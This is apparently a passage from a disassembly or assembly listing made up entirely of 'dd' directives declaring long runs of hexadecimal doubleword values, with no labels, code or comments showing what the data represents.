		dd 3E6E08E9h, 0D87758D3h, 0BC489DAh, 1899F9DEh,	17F27Eh
		dd 4CF07563h, 7305B9h, 20426125h, 44689E0h, 9D0B560Bh
		dd 5FCBA0ADh, 248BB50h,	896AE0F8h, 0D3E72434h, 8B601B44h
		dd 0F809AC14h, 5DBC5EEEh, 3D0092E4h, 0CB6DF99Dh, 72EC12C3h
		dd 15E75A1h, 2AB413B9h,	49B5FFDEh, 1BA67F92h, 0BD2778E0h
		dd 4920584Bh, 3969E9h, 2F0BCF0Fh, 19834F15h, 8D1089FEh
		dd 5B011381h, 6718CB68h, 7D4B2C5Eh, 1B9181A3h, 2852E978h
		dd 141D809Ch, 1208290Eh, 338D5B26h, 5DA33320h, 0E8BA92F5h
		dd 0F4041980h, 0D812FD4Ch, 0AF405F6Ah, 70B65660h, 0BF0F0059h
		dd 0D38161C9h, 52426A1h, 1DC9570Eh, 801A1182h, 30AB7891h
		dd 0E54A2629h, 0F4908F1h, 5CB36103h, 0F4CDCCC7h, 7FFE3BAFh
		dd 1920024Bh, 153E0C2Ch, 90101858h, 25594D78h, 0DFBD7745h
		dd 3901F100h, 0E05FE37h, 0E975A972h, 72ED23FAh,	3050A0C1h
		dd 44C17D71h, 3DC101CCh, 0E6710E8h, 0E24C0702h,	23525803h
		dd 36EBE71Bh, 6408BC36h, 1B2CDC73h, 28295066h, 58188121h
		dd 5701139Ah, 85411B12h, 2A3D31C0h, 0AE4AC4B8h,	761FEE6Bh
		dd 0F4DB41FCh, 621A8AC6h, 0B58584DEh, 4F123531h, 27A230E1h
		dd 12D38050h, 8FC5F77h,	5F6976C5h, 4CE34047h, 0BF6012C1h
		dd 916805D8h, 61CEFF32h, 37C015C8h, 4FBD891Eh, 0D49126Dh
		dd 1BA06A94h, 64F08629h, 0C7FE249Eh, 4693872h, 10D4E85Dh
		dd 75730155h, 0F1E1F080h, 4A616996h, 779740AEh,	7332FC37h
		dd 2D276800h, 1BEE5FE0h, 5A5109D6h, 0DA8C5058h,	0CE034C2Dh
		dd 0E83E56BFh, 12F9F01Bh, 9491009Ah, 96978E7Ch,	0CB744D0Dh
		dd 0C1DB96CAh, 1D5602C9h, 70747221h, 295780E9h,	8501BD27h
		dd 8B605FE3h, 58DD9D03h, 25881F0Eh, 7AB575A5h, 5A921080h
		dd 582FF379h, 0DC032ADh, 2B9E3E14h, 650E1800h, 620F16E7h
		dd 0D5951601h, 86B2441Dh, 0E200B3C4h, 0C1B63017h, 64DBCA24h
		dd 0DE523117h, 1636A39Dh, 0D69BD0B0h, 6210D15Ch, 12215Ah
		dd 4C283F8h, 927802BBh,	0D46403E4h, 93F3BD38h, 205089B0h
		dd 0A542FE95h, 6C3E1055h, 75952A29h, 20289AEEh,	6299D062h
		dd 0C03F878Fh, 0B2B49B3Eh, 0DBC10089h, 0E3813419h, 9331FB52h
		dd 0B8869809h, 14C8B44Fh, 576ACDC2h, 44001671h,	52E7A109h
		dd 8F9800B0h, 0C6EAAE65h, 0E026F448h, 555213DCh, 0FCF9C871h
		dd 2ED601F4h, 596A7AFh,	4DFB6EBh, 8828058Ah, 2B416578h
		dd 84C1D303h, 70580116h, 142E3AAAh, 91DEDDC2h, 41D10B4Ah
		dd 13E4438h, 202A4D2Ah,	0AEA00E29h, 8E990819h, 0C8CC6112h
		dd 5DC2E132h, 0A57187DBh, 9335CFCh, 50B311F5h, 0C321CA8Dh
		dd 64E1B540h, 5DFD6613h, 1D23BA6Eh, 0E507500h, 46412Dh
		dd 0A437AFE6h, 0C61B7BBh, 29524C0Bh, 5BEB118Dh,	12F18341h
		dd 2FEC204h, 0B288B322h, 0A7D95546h, 2E18F8h, 2511AFF0h
		dd 0F381A617h, 0E1A29E05h, 0D6065762h, 20845FF9h, 890A05B9h
		dd 0C51F1D9Dh, 4013D42h, 123E0E02h, 6F80B1DEh, 93DB1386h
		dd 6534EC48h, 0FE0BE0A0h, 852910ADh, 0C316001h,	5FC1B356h
		dd 3042C66Ch, 0AC702ECBh, 4D5089Bh, 0A0604438h,	3CBBFECh
		dd 16E9615Ah, 0AA8CFFF4h, 76B04DF6h, 9277F7D7h,	18270B24h
		dd 0BA481111h, 0E5B71FC0h, 29004377h, 2798D8EBh, 18B2B9Dh
		dd 68DF81C1h, 613AF2B4h, 2B1BC90Eh, 318277F9h, 7D50C5B5h
		dd 0FE575028h, 0CC025382h, 53505BFAh, 0F9C7FAC2h, 97DBD898h
		dd 50DC5356h, 8859B547h, 0CA61F380h, 15AFEC92h,	0B960E4h
		dd 4D3AF0DFh, 5C08361h,	0D612DC95h, 7D95BA00h, 8B588FD5h
		dd 0EB5209Dh, 0BB669000h, 0E85073DDh, 861AA012h, 99EE008Dh
		dd 0ABCE8033h, 0B700EB3Eh, 383F2EE1h, 4B5BB27Eh, 736BBB90h
		dd 38D08602h, 5C616F89h, 0C5092A19h, 91CF9D6Ah,	284F801Ah
		dd 3403A9C8h, 0A6447CE2h, 0A4C0E7D1h, 3E2184Fh,	0F2EA333h
		dd 2325018Ch, 0D1327FFCh, 0F8B9595Dh, 0E822435Eh, 0C057000Ch
		dd 72981DEDh, 0B2E42EDEh, 572DFB2Eh, 2491BD05h,	2520B6A4h
		dd 375714A4h, 1D5D047Bh, 824BC508h, 0FF022012h,	70647BD1h
		dd 0FE02DB10h, 8A0EC2C1h, 714860D8h, 8CA5B41Bh,	23314485h
		dd 31E19D15h, 0D6023198h, 8C063461h, 0A430352Dh, 0AC94FEC3h
		dd 6CD906C4h, 31F08B66h, 774C5B26h, 0E9DA0E3Fh,	0EE2B29Eh
		dd 0B329F6C9h, 65C0A6CDh, 148A2BB7h, 0D07E9FAh,	8C800101h
		dd 6DFBCED0h, 0CB8EAh, 2A19393Bh, 0D2D476C1h, 0B9B3BD12h
		dd 0DA1DB04h, 0BFC05BB9h, 18E8D2FAh, 0F88B9009h, 0C51B8050h
		dd 954CB374h, 6144D77Eh, 0E1F2A6EAh, 0E8D73F1Ch, 1281324Ah
		dd 0B1B9B529h, 42642BD2h, 819DE605h, 5C5B45D2h,	986D5224h
		dd 0F0EF1A60h, 0D42112E6h, 0CB8DFAA7h, 20892A41h, 0C0EC6A03h
		dd 9396D7CCh, 0C17DA4DCh, 0EAE1B2F3h, 7020DB65h, 98E8AF06h
		dd 90F3CC1Fh, 421DCCE5h, 0D5B51C5Ah, 0D9E3121h,	1079222Eh
		dd 0E6180FC9h, 4A11070h, 668ADA83h, 71E42C34h, 0E4D91237h
		dd 1FD32A27h, 6B39CF05h, 5660C182h, 0A1C14E94h,	0F019B418h
		dd 2B1CF461h, 9B80D60Eh, 600CEEBBh, 0B64AC751h,	98833C8h
		dd 8D5B3979h, 5EEB7221h, 43A252Eh, 0B1BADDFh, 89A100F5h
		dd 952A7D85h, 8A44C3DEh, 0E8280FC9h, 6E1F8880h,	0EB00FE25h
		dd 72F3C6F7h, 77366A97h, 77837907h, 80164B77h, 13810F58h
		dd 170E22A1h, 3BC80AC0h, 85291FF5h, 1484054h, 2B114632h
		dd 8B3AFCFAh, 0D59D92D1h, 0D2878950h, 30D055C9h, 0B65405ACh
		dd 0C16DFC88h, 2024565h, 0AA4E123h, 7958AD04h, 8927B521h
		dd 4F72F5F8h, 19292F44h, 75326195h, 3582145Dh, 0B7F9FAh
		dd 7118D484h, 34005675h, 7B9719FCh, 211DDA2h, 2A64126Bh
		dd 0E0E24A6Eh, 2A5BFD19h, 0C19007ECh, 0AE03B112h, 44843CC8h
		dd 0A9FE2924h, 0A5AF2597h, 0BFE1B04h, 20FBCC2h,	798C9589h
		dd 899C4D32h, 1E636C25h, 0E51523B3h, 8CDC357Dh,	0A79C6F08h
		dd 0D9D8916h, 0DBEA9152h, 17F0C2F1h, 0F7E898CBh, 1FD5398Dh
		dd 6C76A900h, 0C22C17FBh, 7FBA0B4Eh, 90E82580h,	0BF4AEAh
		dd 0CE44BAF2h, 58E050A7h, 0FD0474ECh, 0B98B1270h, 6662E1BAh
		dd 5055F0C1h, 7E2F12AEh, 697CE1FFh, 20BB861h, 0B3E57BB0h
		dd 0CC5C8CE2h, 0FCA0123Ah, 413FCEF2h, 3FF01E89h, 4427E151h
		dd 0FA809746h, 2E0A40E0h, 0F715202h, 400EE197h,	80048518h
		dd 0D2062B5Bh, 2649BD31h, 40F6B412h, 7483FFEh, 0C7F63825h
		dd 0DEB7A741h, 609C0804h, 0B9DD581h, 8148B900h,	613B7A13h
		dd 3110A91Fh, 4F64E826h, 0FBD1B0E0h, 4F3E27DAh,	0B5890605h
		dd 95C9340Dh, 0D97B4F92h, 4F177970h, 0A6AC748Ah, 7185A062h
		dd 68FF0958h, 2B84ECF3h, 59BB4005h, 94D4F19h, 1ED19509h
		dd 0B5AE5C73h, 0E81100DCh, 813B5CD4h, 0FE1265EFh, 7CE27104h
		dd 0B5F4AFB4h, 1B230004h, 0DA9009F5h, 0D22EA22Eh, 1DE24EBh
		dd 839CE39Ah, 2334FF54h
		dd 3F6100F2h, 5F101DB5h, 0A4B102DEh, 60EF8ADAh,	7551995Ch
		dd 0D99D3310h, 2B135692h, 0CB52D1BDh, 0B8F0E5E7h, 0F9095F61h
		dd 71D06BBFh, 35D7A576h, 88438E40h, 5EB00840h, 661BEA4Eh
		dd 0F0230FE9h, 24D76C12h, 2528A1Dh, 0CDDCBC3Ah,	0FFC2B9C0h
		dd 0FA4BE174h, 3213878Ah, 527E9805h, 6D94D000h,	58686EB8h
		dd 977A12BCh, 8575E2A2h, 0C7CF052Fh, 0E5C01C88h, 446CA9Ah
		dd 7DB9779h, 4A27AC15h,	68B86C20h, 0A33D00F2h, 0A850FFD0h
		dd 0D64C90B5h, 2945722Eh, 0ADA8282Bh, 2BE10470h, 0C4AD50B9h
		dd 70000196h, 0B89E8D36h, 4B609D09h, 0B69884F8h, 0DEF4E02Ch
		dd 1177738h, 0D6BF7089h, 304CCD1Ch, 254BAD43h, 1988959Ah
		dd 7E1DE3C0h, 351505DDh, 94759D8Bh, 719EADDBh, 0D8B1048Ah
		dd 0AA7EB8h, 871517FAh,	0B28B2ADh, 5606CE35h, 49C5DB05h
		dd 82735BC5h, 90FFB704h, 0EA507EF0h, 0F0B63BBBh, 0AB827934h
		dd 0EDB0F0F6h, 0FC177306h, 5604EC2Eh, 0E8063295h, 0FF1C2904h
		dd 77341F03h, 1225138Ch, 0AFEE7208h, 0C08BDADCh, 6653516Bh
		dd 51FCFBBh, 2F385F5Bh,	31311060h, 0F7BA0457h, 0F29BB1FFh
		dd 0D7450078h, 9649183Ch, 1CAE00BFh, 67E2844Dh,	8D0E3DACh
		dd 27585E93h, 2E81BE60h, 4C5005E5h, 6AA8FFh, 6450EBE1h
		dd 0EF539370h, 61D8D31Ch, 904B3766h, 7BF0B91h, 4CEF26CDh
		dd 9081B06Eh, 1EE22082h, 0F874701h, 58D9C54Dh, 0ACF6AD2Bh
		dd 0C00C005Ah, 276A3E48h, 1451371Fh, 9F342AA6h,	6FB835F9h
		dd 0F926AF00h, 0E7F8ABE0h, 2B7A0F3h, 189897D0h,	155B9D03h
		dd 41E9A004h, 1C9B6F56h, 0BF49391Bh, 95E770ABh,	3EF383A9h
		dd 90BBC70h, 0D098DBFAh, 2849E302h, 9D387209h, 280F313Dh
		dd 138BC0DEh, 97B55C8Eh, 820F5898h, 0E504F96h, 0D3941FEEh
		dd 0D6CC892Fh, 2B5D8602h, 5FE96B5Eh, 0BB6128EDh, 0DFF80689h
		dd 969C13D1h, 3B202917h, 6E0E6B6Ah, 80B22B2Ch, 5F6BE53Ah
		dd 0E279B725h, 1B735F9Ch, 3F4D858h, 8968B5F0h, 9622FC8Ah
		dd 4D2B130Eh, 0A900BA29h, 3B71A669h, 284E0B6Ch,	14E05FC1h
		dd 255DBD0Bh, 40BE4B10h, 8031B547h, 0D100275Ch,	0DA38ABA0h
		dd 77C30946h, 2B200948h, 0E0C1719Dh, 0AF312F5Fh, 206B8C0Fh
		dd 0D04DF371h, 0B54E334Ch, 21E57C05h, 0F88B8704h, 0C93341C9h
		dd 0E0493A00h, 0BADFEEDBh, 0D9CA2F04h, 4AC7F4A8h, 0B620DA25h
		dd 9758DE8Ah, 0D6CCFEh,	0C66AC7FDh, 0A8B807C8h,	0DB24334Eh
		dd 0CF4BC1B8h, 0C018881Ah, 4C03138Eh, 71E2A26Bh, 0F70074Bh
		dd 0BB08209Ch, 4A0EF9DDh, 23505F0Eh, 0FAFB8B52h, 496F7431h
		dd 0BA50CFD5h, 8158ADh,	386D9D01h, 0A4574865h, 42A8A5EDh
		dd 4C0296FEh, 3C8997E7h, 3B915961h, 0BEB27384h,	455DC263h
		dd 16977158h, 507497FFh, 149CC680h, 0EDA18Fh, 5D0C4D34h
		dd 0F9BF0F1Ah, 20CA5F4Bh, 0F3394437h, 0DE8559E9h, 0F808C16Fh
		dd 0AEC575Ah, 0B78F079h, 99B5899Dh, 0DE0FA261h,	809F595Fh
		dd 1EDE6CBh, 2796D9BDh,	0A36113h, 436E4EAEh, 0D86C102h
		dd 0EA5EE43Dh, 0AB580110h, 0F215A513h, 5885C4E1h, 36A9EB95h
		dd 0AB16AEB8h, 610E175Eh, 0D10C6995h, 425C223h,	0F4F1D4h
		dd 0AF7B820Dh, 0F7E2F432h, 0C54DB724h, 0BD7DED60h, 0F99F1226h
		dd 524EB75Bh, 3017E299h, 9B3F4188h, 9CF82B1h, 7463113Dh
		dd 0BD896052h, 389D0345h, 4EB70F35h, 1188DF8h, 23025BDh
		dd 4BC4650h, 0DCA248F4h, 814EB8FBh, 14E780D8h, 47AE6B2Bh
		dd 2A20FCAh, 80D8ACBCh,	0D149DE9h, 0ABD9BA0h, 0BF0461ACh
		dd 34BD6D8h, 0EED20AE9h, 56C09ECFh, 0F5E74A63h,	71F19A97h
		dd 830F8E20h, 0B5291978h, 972C9120h, 946DB00Bh,	0A292C8C0h
		dd 64EF040Eh, 0E28B0131h, 0B5844B90h, 0B0D0F6AFh, 29A727Ch
		dd 13EEC771h, 0C65E3163h, 87FBB769h, 42FECD07h,	89E64C57h
		dd 638B3402h, 622FCB29h, 6ADC5C01h, 1904DE68h, 6A264988h
		dd 41F007F6h, 0CFEADC71h, 299CC204h, 86953595h,	38A95764h
		dd 710969B8h, 842E6874h, 7DA959DBh, 38FFBD2h, 0F12939C0h
		dd 5802D0E6h, 0E4E2DB14h, 4150DC2Bh, 68880F96h,	669C803Bh
		dd 0EC505134h, 2D6A09D2h, 1437963Fh, 0DF67B289h, 17908AE6h
		dd 241C4D20h, 40798D0Fh, 29CD8531h, 1C44A3AFh, 0C0AFE864h
		dd 666FFEC1h, 0DDDF27BFh, 0D97B674Ah, 0EEF8BD0h, 0B3E47FDBh
		dd 8D83A233h, 0AD2E2F2Bh, 6FC4AD19h, 13C80052h,	5BB6696h
		dd 0DCF50E7h, 978ED5F9h, 81832C20h, 0A45100E5h,	8FBAF7Ah
		dd 0B2136878h, 5DA6D88Ah, 1C48439h, 93D8D14h, 0E3BEE4B9h
		dd 8E6EF0E2h, 99F7351h,	743D1D70h, 4883F098h, 0A0C9EB13h
		dd 0E93A61A5h, 0E2BCB5h, 0F3FD09D8h, 219D2953h,	44602C5Eh
		dd 136E9796h, 0A255BA6Dh, 9F2C888Dh, 0A7195E23h, 52B9674Eh
		dd 0E162EF00h, 3F4C4173h, 1B00C538h, 9E67B48Eh,	0C6EAF912h
		dd 0B902AEBAh, 2D24714h, 5A7B7461h, 0D57044F3h,	760A44E8h
		dd 8AA6A000h, 96A58CE3h, 5BA15803h, 32BB910h, 0F186E95Bh
		dd 0DA8B89FFh, 6E3AC1C9h, 90352F3Fh, 6C557Fh, 0C72824E0h
		dd 127BA7EFh, 50D51402h, 7710F82Eh, 0B52D625Bh,	616701EDh
		dd 3AA19D31h, 69B3B117h, 10BA892Ch, 60501C21h, 0A2E85Dh
		dd 133A71F7h, 555E790Fh, 30E6D100h, 3276B79Ah, 58740E15h
		dd 0C13C6160h, 316B45BFh, 0B10A53Bh, 0C2744D2Ah, 1441B990h
		dd 1EF1C834h, 9D03A604h, 0B3EA2361h, 9051CD9h, 0D7E0F500h
		dd 2963231h, 0B75ECBF2h, 0F25F5BDAh, 6086C08Bh,	0DD8D8952h
		dd 4C912A5Ah, 5134D59Dh, 5024D661h, 0E50FB788h,	0B09315C1h
		dd 0B84EA136h, 939B00C4h, 0C4A923C0h, 0BB01CA21h, 90AA9C3Ch
		dd 3C235250h, 46496801h, 0D87FAFBEh, 0C6009E73h, 0F5FFE8Bh
		dd 0B7576031h, 61DE0282h, 0B228E2D4h, 18920245h, 0E0F9A690h
		dd 6BFE8083h, 74CD3EF5h, 20980BC0h, 4F70FD26h, 84A39ED1h
		dd 0EC30FD9Dh, 8C16FC2Fh, 0A125B301h, 14F98529h, 9259AD3Bh
		dd 94BD0F3h, 0B1D13425h, 0B258CBABh, 53D9068Bh,	0CB699D89h
		dd 56235F5Bh, 8266C85Eh, 4D8407A6h, 0CBECDCh, 757DF527h
		dd 25FBEA02h, 0D68D9D33h, 0A25B1333h, 0BB6B88D2h, 655D8A26h
		dd 0E071F602h, 136129Dh, 6C31E97Fh, 0E80911FCh,	0A4BD2129h
		dd 9C919925h, 523A8A50h, 13236FF6h, 870A765Ah, 0F997C661h
		dd 46E09B65h, 0EAB27E9h, 0EF92F945h, 7EC3AA30h,	0BF5DB1EEh
		dd 1B3BC604h, 89DA0ADh,	51B5399Dh, 88056370h, 0E609CABBh
		dd 895F0B83h, 75CE45Ah,	0A3228E61h, 6907D3CFh, 0D0DCF198h
		dd 57A23E27h, 605E5D90h, 0D74BA990h, 5D4902A3h,	0A133B6D3h
		dd 0E83AE0F0h, 0AEBFC2B5h, 26D57480h, 1746D454h, 70BA4604h
		dd 106EBAA9h, 84281723h, 4608BE27h, 717697E8h, 0C6080BCh
		dd 4F11766h, 0ECF40064h, 0E8058C43h, 0BDEE4E88h, 0EDFF6A2Fh
		dd 1B4C152h, 58DD68E6h,	3A11288h, 7FA209E8h, 8093F12Bh
		dd 680CCB81h, 0B07046D1h, 900D4697h, 4212012h, 9070E62Dh
		dd 961D48h, 1824502Bh, 0F95BA0A1h, 0CFF8C30Eh, 43938BDAh
		dd 71E4D922h, 0AC0FCA63h, 0EEA0D691h, 7007D0BBh, 356F1C01h
		dd 778B887Bh, 2B10483Bh, 156312A4h, 579EB075h, 1C713A81h
		dd 68E63980h, 0FE932D80h, 98C4902h, 292AB9BDh, 574C0FD0h
		dd 1459101Dh, 0A5BA5F1Fh, 0C23EB0DFh, 0D13700B2h, 10365DD0h
		dd 0A900E23Eh, 7A5BCB45h, 0B81F93DCh, 0B7749D4Ah, 5710C249h
		dd 0E2F757A0h, 8D5DBD8Bh
		dd 0C82B0905h, 0C9BB0260h, 800F021Ch, 0A9C00EEEh, 0BFD18B61h
		dd 14CD795Bh, 13ADE934h, 23319D09h, 290953E8h, 30398589h
		dd 6A769F79h, 0E4FAE2A5h, 35E60001h, 199CA1BCh,	0CA0094F7h
		dd 7D0E20B0h, 69A393C0h, 6CC032CEh, 74820DB9h, 4A1F910Eh
		dd 0EEC88h, 30D41C87h, 13DFDD18h, 4B518200h, 0E9F64D26h
		dd 0ED6EA952h, 0FFF7232Eh, 0E1EC037Ch, 0B709599Eh, 1100D901h
		dd 0F64335h, 46032DB0h,	0D7C2C0h, 0DCA9CBE3h, 0B30ACF28h
		dd 78021976h, 835FDF8Bh, 0FE3180A5h, 0B80DCB80h, 95892937h
		dd 8A570292h, 11765BDCh, 153DAEC1h, 1ABCF739h, 0DA3D9304h
		dd 0B844049h, 4D8DED31h, 8180D02Ch, 0DDA2D8DFh,	0EE9D444Eh
		dd 1B883B0Ah, 85F0A4C0h, 8BB502A5h, 9D234B02h, 0B912E1C4h
		dd 0DA210FF6h, 0BC041FA9h, 6FDB5BCBh, 29E66880h, 1A01BA90h
		dd 9E034FAh, 7747D85h, 0BC398FCh, 0C02B79B3h, 0AF20E880h
		dd 0BA691963h, 964DDD44h, 0FC727FE2h, 89A53926h, 5B8219F1h
		dd 7461C2DEh, 29597AD0h, 0F9FEC300h, 2BD3148h, 9B2F7172h
		dd 59DBF457h, 0D8A970h,	68F7CD76h, 14911ABBh, 44104D97h
		dd 31266115h, 13B4F3F4h, 0A70C64F7h, 0AC2459C6h, 8195482Bh
		dd 0B342B627h, 295B5Fh,	0BC8AC945h, 0A71DCC8Ch,	9849488Eh
		dd 5E1A74EBh, 915083BBh, 99D4BE4h, 4DDD1B09h, 647DE943h
		dd 0BE85021Fh, 0BB66836Ch, 0EB5E6DE2h, 23EC449h, 0EF2F45D5h
		dd 0B77479FFh, 7B7AAF51h, 90CC012Fh, 0AAC28527h, 606A096Ah
		dd 0D1B93784h, 26B8616Eh, 301AA280h, 4C008F09h,	0FEDDF10Eh
		dd 27799BBBh, 0DC4E72B1h, 9DD40196h, 52982B94h,	14B18D10h
		dd 61C78A02h, 0F1F6E1FFh, 0B34902DCh, 0BAAD9F86h, 7D50F174h
		dd 97028204h, 61FB323Dh, 859907A6h, 49F53327h, 86E1747Ch
		dd 6A2F0D3Ch, 0FA60001Bh, 8C5A9722h, 0B85E0492h, 0B48E0F49h
		dd 7058B7FDh, 0E9494FBFh, 6C157C60h, 274B5D1Ah,	15A25EA6h
		dd 0B4A75930h, 1E826969h, 0EAF22C7Dh, 0D88224EEh, 99044EA7h
		dd 209A3ACEh, 0BF8B2784h, 90560BF4h, 20520CCh, 0D1945B4Eh
		dd 8B7EAEh, 0B9E89CDAh,	2F4BE969h, 0ED92981Eh, 5F443F7Eh
		dd 96D8DDB8h, 5E820C81h, 0DA4D6BD6h, 5717E0CEh,	0B52E3D0h
		dd 9018DED4h, 82092078h, 6C7AE701h, 0A85B7F4Dh,	14BD8F52h
		dd 0F954FDB0h, 56090222h, 0CD905F5Bh, 7C4BCFB7h, 0CDB5ED02h
		dd 0BD8984D6h, 927CD935h, 80C8E25Bh, 5EDABB50h,	0DDD39042h
		dd 0B8E6255Bh, 4A430212h, 0EACCDA02h, 44CC74ECh, 0C9C44306h
		dd 2082F46Bh, 0DC9A5C58h, 6BB8E004h, 0BAC3C04Bh, 64B98CA0h
		dd 0A02EF6D2h, 3BD80A52h, 5104E0A1h, 0AA85897Ah, 1A232F3Fh
		dd 9F81251Fh, 8E81EA7Bh, 24FBCD30h, 0A867C5E9h,	12DD4A76h
		dd 5BBAF794h, 9C3FA26Ah, 84B5B402h, 84E3DA0Ah, 0B974269Ah
		dd 0A8967969h, 976175ECh, 0E70AE8B0h, 0E033500h, 0D39B7B9Eh
		dd 13B300C4h, 2BE4316h,	5948B501h, 9FF792CFh, 95B0FF56h
		dd 0F927B70Fh, 0E1964D89h, 2056BDEDh, 22123564h, 46ED0611h
		dd 0D69C0B88h, 96FFE640h, 13E7E0E5h, 0A14E186Bh, 53B92FA9h
		dd 4D751E03h, 34A0BF43h, 0BA0070D5h, 1DE6D4FAh,	13CFA783h
		dd 8850CCB3h, 479191Eh,	82363F00h, 5B3E1B56h, 0E5250B2Fh
		dd 7E051EBDh, 0F08EB634h, 2DD6955h, 0E8B6F4E6h,	0A174A843h
		dd 2ADF8060h, 3F750668h, 6A811644h, 5B3C8A1Dh, 0C06E6DE5h
		dd 5847190Ch, 82C0509h,	926ED173h, 0CFBCC890h, 6E83BC25h
		dd 0BAF82C24h, 51E225A1h, 78009D51h, 8E266AA7h,	0AA930E99h
		dd 0E1A05C92h, 7EDF2B8h, 120B474Fh, 0A98262FAh,	90850594h
		dd 0BCB84DF9h, 100546E6h, 0ED850960h, 9B61D5F0h, 0D94C2F12h
		dd 55B3795h, 0EDD1A18Bh, 6AA34B9Dh, 0E99F0EC8h,	0F2EE0BF1h
		dd 0C9D0AC3Ah, 4E6979FCh, 3C5DE2B2h, 0BDE9C0ADh, 1F034D29h
		dd 0CD132161h, 3CA3FBB7h, 19B71DAEh, 14A2D813h,	0EE044784h
		dd 0BBF42FF6h, 0A5F5AC4Ah, 5BA41A59h, 5CD09E9h,	0A6A0D053h
		dd 4B20C54Dh, 4F2C48Dh,	6E3A2924h, 252002Fh, 0C6A2DA8Ch
		dd 3FEC16B0h, 0AFF296h,	0C7A8724Ah, 129A766Fh, 0F35B6DBDh
		dd 24DB5FF5h, 0F74F4980h, 4E00307Ah, 0E11D2DBFh, 4666003h
		dd 0E90BB0B8h, 363E4011h, 0C685B3h, 59AA2891h, 0EC0B9E1Eh
		dd 1707087Ch, 0BB966154h, 4881D1C7h, 0E42C5350h, 0A12D6E80h
		dd 640E14A3h, 0A027A904h, 965B81E8h, 2037B060h,	0BA021D51h
		dd 309E844Ah, 70C29461h, 253A9D71h, 1DE0E66Dh, 0BD7B4BEh
		dd 32158895h, 0F12E59F8h, 0DB6055EEh, 0A9D2FE3h, 0B45870A3h
		dd 0C44DC9F1h, 0C42FD4C0h, 0EFB024DFh, 9DCE3ACAh, 0A80C2973h
		dd 1F5D001Bh, 0FD5592EDh, 504E2827h, 4E01788Ch,	313AFBDh
		dd 14ACEDB9h, 0FCD0098Ch, 91D0FE8Bh, 2DC8DB6h, 0BD237618h
		dd 8B741E2Dh, 51C6D549h, 0B460BF13h, 8B2E71A3h,	0B8860904h
		dd 5FE050FCh, 3FE1A926h, 2F6F568h, 7D19F2ACh, 37556A31h
		dd 0F5DF8077h, 0EFC57325h, 0D7FB3527h, 585FB98h, 4B420841h
		dd 9F196535h, 0ECCD1531h, 9295891Dh, 0C517ED09h, 6C9550F5h
		dd 60570392h, 8207C928h, 0DB522476h, 97DD50B0h,	0A8561F28h
		dd 5BBA4417h, 46110EF1h, 7A3A0E29h, 803C0074h, 0EC1FD6B1h
		dd 0D78E05BCh, 0BCF8B33Fh, 0D48A4B59h, 0BD754327h, 0E11C014Dh
		dd 30EBC065h, 814B0F1Ah, 0A3B88140h, 0E12534Eh,	50615A56h
		dd 0EB890F84h, 3648CFA3h, 158F6E7Bh, 0AC68ED12h, 0C0028C19h
		dd 5F0C470Dh, 0B99A607Ah, 8917242Ah, 912106Eh, 769D2961h
		dd 0CE6A5F2h, 0C4E9603Ah, 0D282049Ah, 0EBCF400Bh, 33820BE3h
		dd 0E8CA0195h, 3748D4Eh, 25049121h, 0B755F7C2h,	0C5BE84A8h
		dd 0A3E3BC4Ch, 6E274A76h, 4E2902C8h, 421E0E83h,	7BDE899Fh
		dd 35DDA703h, 0C17C812Fh, 7EC6FA50h, 7000357Ah,	0B43AC883h
		dd 0DFA22A73h, 96972DF2h, 4566972Dh, 0E9DF8B03h, 8CFFF27Ch
		dd 0C40080A2h, 0B2C0D6F8h, 6900E33Dh, 0A9E0C763h, 2768B3ABh
		dd 1E73C18Bh, 38300871h, 25879E19h, 0EA5006E5h,	8D504A0Fh
		dd 2D122E11h, 0DF337CA1h, 0EAA3CF00h, 4505E379h, 98529F04h
		dd 15BD54C1h, 2C0B2AE8h, 9BDB7E7h, 5AAA7AFEh, 0C0CDDB6Ah
		dd 7DDD051h, 0B4C200F7h, 0BFE242DBh, 0AB3455EFh, 9702D431h
		dd 7515D28Ch, 0CF7099FBh, 0B74B02D0h, 63CCA841h, 0B5690574h
		dd 76148A83h, 618F16BEh, 2F9D097Bh, 0F4E76E88h,	29B5F065h
		dd 27912031h, 1AB1FBF0h, 9FB378A7h, 46D45D54h, 54E60417h
		dd 75BB4AB0h, 0A96B76h,	1780B235h, 240F3F9Bh, 608ED1FFh
		dd 0FBE3C72Ch, 0C3081C00h, 2A5B1BF9h, 82DC12BBh, 8992F274h
		dd 7C71D480h, 2E001D46h, 7D7F2AB7h, 31120587h, 1EB0C8F0h
		dd 26A8026h, 0FFDFB5A0h, 72905532h, 82CA2E0Ah, 0ABBB61CEh
		dd 695E381Fh, 0D2C9E604h, 3CE208h, 0CFACD916h, 54BEEh
		dd 0AA202C3Dh, 5F023C01h, 0BC7418A2h, 2CC20C6Dh, 14BB9020h
		dd 34496613h, 70A07675h, 0B484D296h, 3100D47Fh,	547F0BFFh
		dd 4A3C141Bh, 600ECD27h, 440B549h, 950909BBh, 0C77907B2h
		dd 10829ACh, 0E682C1Dh,	5252A3BFh, 0DA60462h, 5129BB18h
		dd 0A75D252Eh, 993BA0DCh, 31950E86h, 3941A060h,	3EF8BF0Fh
		dd 1B95A1B9h, 2200F6ACh, 341CE73Bh, 48866272h, 0B5020168h
		dd 0FF6AFC69h, 237DEAE0h, 50B9E28Bh, 44769D08h,	7799A0D6h
		dd 8F085893h, 4121F110h, 2F31D99Fh, 897C8928h, 81203E60h
		dd 6E6924h, 4736AA0Fh
		dd 59A5112Fh, 202D6700h, 43608AE5h, 191555E0h, 90D3F8h
		dd 0C1385824h, 540FB874h, 0D0AE2B0Fh, 0DABC050h, 70615E90h
		dd 498EC4B0h, 70E6041Eh, 0E41724A8h, 0EF0F1E71h, 8300D34Eh
		dd 59EFB906h, 94B62A9h,	5B9C7699h, 1A45977Ah, 2AF01941h
		dd 858CD22Eh, 9C25886Ch, 807FE4D2h, 8229F9BBh, 8E086E5Ch
		dd 897FA701h, 0C44BEh, 0FBFA2B50h, 0C38BD495h, 0C2F45205h
		dd 27BA2D03h, 2BFBC0D4h, 0EB3E80C8h, 40D125AAh,	382947D2h
		dd 0B9D40985h, 5155C5C3h, 0B5E702F5h, 62E625ADh, 0BF4E97h
		dd 0DC59987Ah, 0BF7D27B8h, 923BCF00h, 135FD03h,	252DEC95h
		dd 80E0299Dh, 0EE8809E8h, 0EA100002h, 85781BC8h, 0C290567Dh
		dd 5BF7D163h, 0C34705Fh, 22C99D0Bh, 3D8808A1h, 0CFA8398Ah
		dd 5849C289h, 194F8E7Ah, 6BE60BAh, 9A27E318h, 5B4501D8h
		dd 1D8050E9h, 7F98DEBFh, 0B997F53Bh, 842E6588h,	0A586B808h
